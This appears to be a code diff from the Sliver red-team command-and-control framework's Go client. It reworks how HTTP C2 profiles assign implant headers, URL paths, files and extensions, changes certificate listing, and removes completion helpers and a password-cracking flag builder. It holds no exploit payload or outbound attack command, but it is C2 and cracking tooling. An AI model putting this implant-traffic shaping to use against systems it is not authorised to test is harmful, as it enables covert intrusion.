CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
}
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: serverHeader.Method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
}
serverCookies := []*clientpb.HTTPC2Cookie{}
@@ -432,7 +525,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Name)
serverHeaders = append(serverHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Server Headers",
@@ -457,7 +550,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Name)
clientHeaders = append(clientHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Client Headers",
@@ -488,94 +581,126 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Nonce query length",
profile.ImplantConfig.NonceQueryLength,
})
tw.AppendRow(table.Row{
"Nonce mode",
profile.ImplantConfig.NonceMode,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFileGen,
profile.ImplantConfig.MaxFiles,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFileGen,
profile.ImplantConfig.MinFiles,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPathGen,
profile.ImplantConfig.MaxPaths,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPathGen,
profile.ImplantConfig.MinPaths,
})
tw.AppendRow(table.Row{
"Max path length",
profile.ImplantConfig.MaxPathLength,
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
})
tw.AppendRow(table.Row{
"Min path length",
profile.ImplantConfig.MinPathLength,
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
})
tw.AppendRow(table.Row{
"File extensions",
strings.Join(profile.ImplantConfig.Extensions, ","),
"Session file extension",
profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
})
var (
paths []string
files []string
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
files = append(files, segment.Value)
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else {
paths = append(paths, segment.Value)
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
}
}
tw.AppendRow(table.Row{
"Paths",
strings.Join(paths[:], ",")[:50] + "...",
"Poll paths",
strings.Join(pollPaths[:], ","),
})
tw.AppendRow(table.Row{
"Files",
strings.Join(files[:], ",")[:50] + "...",
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
})
con.Println(tw.Render())
con.Println("\n")
}
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) (string, error) {
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
c2profile := ""
var choices []string
for _, c2profile := range c2profiles {
choices = append(choices, c2profile.Name)
}
_ = forms.Select("Select a c2 profile", choices, &c2profile)
if c2profile == "" {
return "", ErrNoSelection
prompt := &survey.Select{
Message: "Select a c2 profile",
Options: choices,
}
survey.AskOne(prompt, &c2profile, nil)
return c2profile, nil
return c2profile
}
func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
// update the template with the urls
var (
paths []string
filenames []string
extensions []string
paths []string
filenames []string
extensions []string
filteredExtensions []string
)
for _, urlPath := range urls {
@@ -604,13 +729,23 @@ func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTP
slices.Sort(extensions)
extensions = slices.Compact(extensions)
for _, extension := range extensions {
if !slices.Contains(usedExtensions, extension) {
filteredExtensions = append(filteredExtensions, extension)
}
}
slices.Sort(paths)
paths = slices.Compact(paths)
slices.Sort(filenames)
filenames = slices.Compact(filenames)
// 5 is arbitrarily used as a minimum value
// 5 is arbitrarily used as a minimum value, it only has to be 5 for the extensions, the others can be lower
if len(filteredExtensions) < 5 {
return nil, fmt.Errorf("got %d unused extensions, need at least 5", len(filteredExtensions))
}
if len(paths) < 5 {
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
}
@@ -619,8 +754,53 @@ func updateC2Profile(template *assets.HTTPC2Config, urls []string) (*assets.HTTP
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
}
template.ImplantConfig.Extensions = extensions
template.ImplantConfig.Paths = paths
template.ImplantConfig.Files = filenames
// shuffle extensions
for i := len(extensions) - 1; i > 0; i-- {
j := rand.Intn(i + 1)
extensions[i], extensions[j] = extensions[j], extensions[i]
}
template.ImplantConfig.PollFileExt = extensions[0]
template.ImplantConfig.StagerFileExt = extensions[1]
template.ImplantConfig.StartSessionFileExt = extensions[2]
template.ImplantConfig.SessionFileExt = extensions[3]
template.ImplantConfig.CloseFileExt = extensions[4]
// randomly distribute the paths and filenames into the different segment types
template.ImplantConfig.CloseFiles = []string{}
template.ImplantConfig.SessionFiles = []string{}
template.ImplantConfig.PollFiles = []string{}
template.ImplantConfig.StagerFiles = []string{}
template.ImplantConfig.ClosePaths = []string{}
template.ImplantConfig.SessionPaths = []string{}
template.ImplantConfig.PollPaths = []string{}
template.ImplantConfig.StagerPaths = []string{}
for _, path := range paths {
switch rand.Intn(4) {
case 0:
template.ImplantConfig.PollPaths = append(template.ImplantConfig.PollPaths, path)
case 1:
template.ImplantConfig.SessionPaths = append(template.ImplantConfig.SessionPaths, path)
case 2:
template.ImplantConfig.ClosePaths = append(template.ImplantConfig.ClosePaths, path)
case 3:
template.ImplantConfig.StagerPaths = append(template.ImplantConfig.StagerPaths, path)
}
}
for _, filename := range filenames {
switch rand.Intn(4) {
case 0:
template.ImplantConfig.PollFiles = append(template.ImplantConfig.PollFiles, filename)
case 1:
template.ImplantConfig.SessionFiles = append(template.ImplantConfig.SessionFiles, filename)
case 2:
template.ImplantConfig.CloseFiles = append(template.ImplantConfig.CloseFiles, filename)
case 3:
template.ImplantConfig.StagerFiles = append(template.ImplantConfig.StagerFiles, filename)
}
}
return template, nil
}
-4
View File
@@ -1,7 +1,6 @@
package c2profiles
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -28,7 +27,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
exportC2ProfileCmd := &cobra.Command{
Use: consts.ExportC2ProfileStr,
@@ -42,7 +40,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
})
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
@@ -79,7 +76,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
})
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["template"] = generate.HTTPC2Completer(con)
-12
View File
@@ -1,12 +0,0 @@
# client/command/certificates
## Overview
Implements the 'certificates' command group for the Sliver client console.
## Go Files
- `authorities.go` – Retrieves certificate authority metadata from the server and prints it in a table.
- `completions.go` – Provides tab completion helpers for certificate common names.
- `certificates.go` – Retrieves certificate metadata from the server, formats expiration status, and prints results to the console.
- `commands.go` – Registers the certificates command and binds the flags needed to query certificate inventories.
@@ -1,89 +0,0 @@
package certificates
import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
)
func CertificateAuthoritiesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
authorityInfo, err := con.Rpc.GetCertificateAuthorityInfo(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("could not get certificate authority information from database: %s", err.Error())
return
}
printCertificateAuthorityInfo(con, authorityInfo.Info)
}
func printCertificateAuthorityInfo(con *console.SliverClient, authData []*clientpb.CertificateAuthorityData) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
if len(authData) == 0 {
con.PrintWarnf("There are no certificate authorities in the database.\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Creation Time",
"Authority Type",
"Key Algorithm",
"Validity Start",
"Expires",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Common Name",
"Expires",
})
}
for _, authority := range authData {
rowStyle := console.StyleNormal
expiry, err := time.Parse(timeFormat, authority.ValidityExpiry)
if err == nil {
rowStyle = checkCertExpiry(expiry)
}
if wideTermWidth {
tw.AppendRow(table.Row{
rowStyle.Render(authority.ID),
rowStyle.Render(authority.CN),
rowStyle.Render(authority.CreationTime),
rowStyle.Render(authority.Type),
rowStyle.Render(authority.KeyAlgorithm),
rowStyle.Render(authority.ValidityStart),
rowStyle.Render(authority.ValidityExpiry),
})
} else {
tw.AppendRow(table.Row{
rowStyle.Render(authority.ID),
rowStyle.Render(authority.CN),
rowStyle.Render(authority.ValidityExpiry),
})
}
}
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
con.Printf("%s\n", tw.Render())
}
+18 -17
View File
@@ -2,6 +2,7 @@ package certificates
import (
"context"
"fmt"
"time"
"github.com/bishopfox/sliver/client/command/settings"
@@ -94,22 +95,22 @@ func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []st
printCertificateInfo(con, certificateInfo.Info)
}
func checkCertExpiry(expiryTime time.Time) console.TextStyle {
func checkCertExpiry(expiryTime time.Time) string {
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
return console.StyleBoldRed
return console.Bold + console.Red
}
// One week is 168 hours - this is bad
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
return console.StyleBoldRed
return console.Bold + console.Red
}
// One month is approximately 730 hours - this is a warning
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
return console.StyleBoldOrange
return console.Bold + console.Orange
}
return console.StyleNormal
return console.Normal
}
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
@@ -147,28 +148,28 @@ func printCertificateInfo(con *console.SliverClient, certData []*clientpb.Certif
}
for _, cert := range certData {
rowStyle := console.StyleNormal
rowColor := console.Normal
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
// This should not error out, but if it does, the row will not be colored
if err == nil {
rowStyle = checkCertExpiry(expiry)
rowColor = checkCertExpiry(expiry)
}
if wideTermWidth {
tw.AppendRow(table.Row{
rowStyle.Render(cert.ID),
rowStyle.Render(cert.CN),
rowStyle.Render(cert.CreationTime),
rowStyle.Render(cert.Type),
rowStyle.Render(cert.KeyAlgorithm),
rowStyle.Render(cert.ValidityStart),
rowStyle.Render(cert.ValidityExpiry),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
})
} else {
tw.AppendRow(table.Row{
rowStyle.Render(cert.ID),
rowStyle.Render(cert.CN),
rowStyle.Render(cert.ValidityExpiry),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
})
}
-14
View File
@@ -23,7 +23,6 @@ import (
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
@@ -45,19 +44,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("server", "s", false, "Show server certificates")
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
})
flags.BindFlagCompletions(certificatesCmd, func(comp *carapace.ActionMap) {
(*comp)["cn"] = CertificateCommonNameCompleter(con)
})
registerCertificateCNFlagCompletion(certificatesCmd, "cn", con)
authoritiesCmd := &cobra.Command{
Use: "authorities",
Short: "List certificate authorities",
Run: func(cmd *cobra.Command, args []string) {
CertificateAuthoritiesCmd(cmd, con, args)
},
}
certificatesCmd.AddCommand(authoritiesCmd)
return []*cobra.Command{
certificatesCmd,
@@ -1,96 +0,0 @@
package certificates
import (
"context"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// CertificateCommonNameCompleter completes common names for stored certificates.
func CertificateCommonNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
if con == nil || con.Rpc == nil {
return carapace.ActionMessage("not connected")
}
values, err := certificateCommonNameValues(con)
if err != nil {
return carapace.ActionMessage("failed to list certificates %s", err)
}
if len(values) == 0 {
return carapace.ActionMessage("no certificates")
}
return carapace.ActionValues(values...).Tag("common name").Usage("certificate common name")
})
}
func registerCertificateCNFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, toComplete string) ([]string, cobra.ShellCompDirective) {
values, err := certificateCommonNameValues(con)
if err != nil {
return nil, cobra.ShellCompDirectiveNoFileComp
}
return filterCompletionValues(values, toComplete), cobra.ShellCompDirectiveNoFileComp
})
}
func certificateCommonNameValues(con *console.SliverClient) ([]string, error) {
if con == nil || con.Rpc == nil {
return nil, nil
}
certInfo, err := con.Rpc.GetCertificateInfo(context.Background(), &clientpb.CertificatesReq{
CategoryFilters: AllTransports | AllRoles,
})
if err != nil {
return nil, err
}
unique := map[string]struct{}{}
for _, cert := range certInfo.Info {
if cert.CN == "" {
continue
}
unique[cert.CN] = struct{}{}
}
values := make([]string, 0, len(unique))
for name := range unique {
values = append(values, name)
}
sort.Strings(values)
return values, nil
}
func filterCompletionValues(values []string, prefix string) []string {
if prefix == "" {
return values
}
filtered := make([]string, 0, len(values))
for _, value := range values {
candidate := value
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
candidate = value[:tab]
}
if strings.HasPrefix(candidate, prefix) {
filtered = append(filtered, value)
}
}
return filtered
}
-9
View File
@@ -1,9 +0,0 @@
# client/command/clean
## Overview
Implements the 'clean' command group for the Sliver client console.
## Go Files
- `clean.go` – Defines the clean command and its helpers that purge local build artifacts, cached profiles, and stale sessions.
+3 -2
View File
@@ -21,10 +21,10 @@ package clean
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -35,7 +35,8 @@ import (
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
confirm := false
_ = forms.Confirm("Are you sure you want to destroy everything?", &confirm)
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
+3 -8
View File
@@ -1,9 +1,4 @@
# client/command/completers
Completers
===========
## Overview
Implements the 'completers' command group for the Sliver client console.
## Go Files
- `completers.go` – Provides reusable carapace completion helpers for selecting client interfaces and proxy endpoints.
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
-58
View File
@@ -22,7 +22,6 @@ import (
"net"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// ClientInterfacesCompleter completes interface addresses on the client host.
@@ -85,60 +84,3 @@ func LocalProxyCompleter() carapace.Action {
}).Invoke(c).Prefix(prefix).ToA()
})
}
// LocalFilePathCompleter completes local file and directory paths.
func LocalFilePathCompleter() carapace.Action {
return carapace.ActionFiles().Tag("local file path")
}
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
})
}
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
for _, name := range names {
RegisterLocalFilePathFlagCompletion(cmd, name)
}
}
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
if cmd == nil || index < 0 {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
if len(args) == index {
return nil, cobra.ShellCompDirectiveDefault
}
return nil, cobra.ShellCompDirectiveNoFileComp
}
}
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
if cmd == nil {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
}
}
-12
View File
@@ -1,12 +0,0 @@
# client/command/crack
## Overview
Implements the 'crack' command group for the Sliver client console. Handlers map Cobra invocations to crack workflows such as crack files.
## Go Files
- `commands.go` – Defines the crack command hierarchy, attaching operations for stations and file management.
- `crack-files.go` – Manages cracking asset uploads, listings, and removals, handling streaming transfers and chunking.
- `crack.go` – Implements station status reporting, health checks, and list rendering for distributed cracking nodes.
- `helpers.go` – Supplies completion helpers and byte formatting utilities for crack subcommands.
-8
View File
@@ -1,7 +1,6 @@
package crack
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -25,7 +24,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
bindCrackFlags(f)
})
crackStationsCmd := &cobra.Command{
@@ -36,9 +34,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
CrackStationsCmd(cmd, con, args)
},
}
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
})
crackCmd.AddCommand(crackStationsCmd)
wordlistsCmd := &cobra.Command{
@@ -62,7 +57,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "wordlist name (blank = filename)")
})
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
wordlistsCmd.AddCommand(wordlistsAddCmd)
wordlistsRmCmd := &cobra.Command{
@@ -97,7 +91,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "rules name (blank = filename)")
})
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
rulesCmd.AddCommand(rulesAddCmd)
rulesRmCmd := &cobra.Command{
@@ -133,7 +126,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
})
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
hcstat2Cmd.AddCommand(hcstat2AddCmd)
hcstat2RmCmd := &cobra.Command{
-326
View File
@@ -1,326 +0,0 @@
package crack
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
if len(args) > 0 {
return true
}
hasFlag := false
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
if flag.Changed && flag.Name != "timeout" {
hasFlag = true
}
})
return hasFlag
}
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
flags := cmd.Flags()
req := &clientpb.CrackCommand{}
if flags.Changed("attack-mode") {
raw, _ := flags.GetString("attack-mode")
attackMode, err := parseCrackAttackMode(raw)
if err != nil {
return nil, err
}
req.AttackMode = attackMode
}
if flags.Changed("hash-type") {
raw, _ := flags.GetString("hash-type")
hashType, err := parseHashType(raw)
if err != nil {
return nil, err
}
req.HashType = hashType
}
hashes, _ := flags.GetStringSlice("hash")
if len(args) > 0 {
hashes = append(hashes, args...)
}
req.Hashes = hashes
req.Quiet, _ = flags.GetBool("quiet")
req.HexCharset, _ = flags.GetBool("hex-charset")
req.HexSalt, _ = flags.GetBool("hex-salt")
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
req.Force, _ = flags.GetBool("force")
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
req.Status, _ = flags.GetBool("status")
req.StatusJSON, _ = flags.GetBool("status-json")
req.StatusTimer, _ = flags.GetUint32("status-timer")
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
req.MachineReadable, _ = flags.GetBool("machine-readable")
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
req.Loopback, _ = flags.GetBool("loopback")
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
req.MarkovHcstat2 = []byte(raw)
}
req.MarkovDisable, _ = flags.GetBool("markov-disable")
req.MarkovClassic, _ = flags.GetBool("markov-classic")
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
req.Runtime, _ = flags.GetUint32("runtime")
req.Session, _ = flags.GetString("session")
req.Restore, _ = flags.GetBool("restore")
req.RestoreDisable, _ = flags.GetBool("restore-disable")
if raw, _ := flags.GetString("restore-file"); raw != "" {
req.RestoreFile = []byte(raw)
}
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
for _, raw := range formats {
format, err := parseCrackOutfileFormat(raw)
if err != nil {
return nil, err
}
req.OutfileFormat = append(req.OutfileFormat, format)
}
}
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
req.Separator, _ = flags.GetString("separator")
req.Stdout, _ = flags.GetBool("stdout")
req.Show, _ = flags.GetBool("show")
req.Left, _ = flags.GetBool("left")
req.Username, _ = flags.GetBool("username")
req.Remove, _ = flags.GetBool("remove")
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
if raw, _ := flags.GetString("potfile"); raw != "" {
req.Potfile = []byte(raw)
}
if flags.Changed("encoding-from") {
raw, _ := flags.GetString("encoding-from")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingFrom = enc
}
if flags.Changed("encoding-to") {
raw, _ := flags.GetString("encoding-to")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingTo = enc
}
req.DebugMode, _ = flags.GetUint32("debug-mode")
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
req.KeyboardLayoutMapping = []byte(raw)
}
req.Benchmark, _ = flags.GetBool("benchmark")
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
req.SpeedOnly, _ = flags.GetBool("speed-only")
req.ProgressOnly, _ = flags.GetBool("progress-only")
req.SegmentSize, _ = flags.GetUint32("segment-size")
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
req.HookThreads, _ = flags.GetUint32("hook-threads")
req.HashInfo, _ = flags.GetBool("hash-info")
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
req.BackendInfo, _ = flags.GetBool("backend-info")
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
if flags.Changed("workload-profile") {
raw, _ := flags.GetString("workload-profile")
profile, err := parseCrackWorkloadProfile(raw)
if err != nil {
return nil, err
}
req.WorkloadProfile = profile
}
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
req.SpinDamp, _ = flags.GetUint32("spin-damp")
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
req.Skip, _ = flags.GetUint64("skip")
req.Limit, _ = flags.GetUint64("limit")
req.Keyspace, _ = flags.GetBool("keyspace")
if raw, _ := flags.GetString("rules-file"); raw != "" {
req.RulesFile = []byte(raw)
}
req.GenerateRules, _ = flags.GetUint32("generate-rules")
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
req.CustomCharset1, _ = flags.GetString("custom-charset1")
req.CustomCharset2, _ = flags.GetString("custom-charset2")
req.CustomCharset3, _ = flags.GetString("custom-charset3")
req.CustomCharset4, _ = flags.GetString("custom-charset4")
req.Identify, _ = flags.GetString("identify")
req.Increment, _ = flags.GetBool("increment")
req.IncrementMin, _ = flags.GetUint32("increment-min")
req.IncrementMax, _ = flags.GetUint32("increment-max")
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
req.BrainServer, _ = flags.GetBool("brain-server")
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
req.BrainClient, _ = flags.GetBool("brain-client")
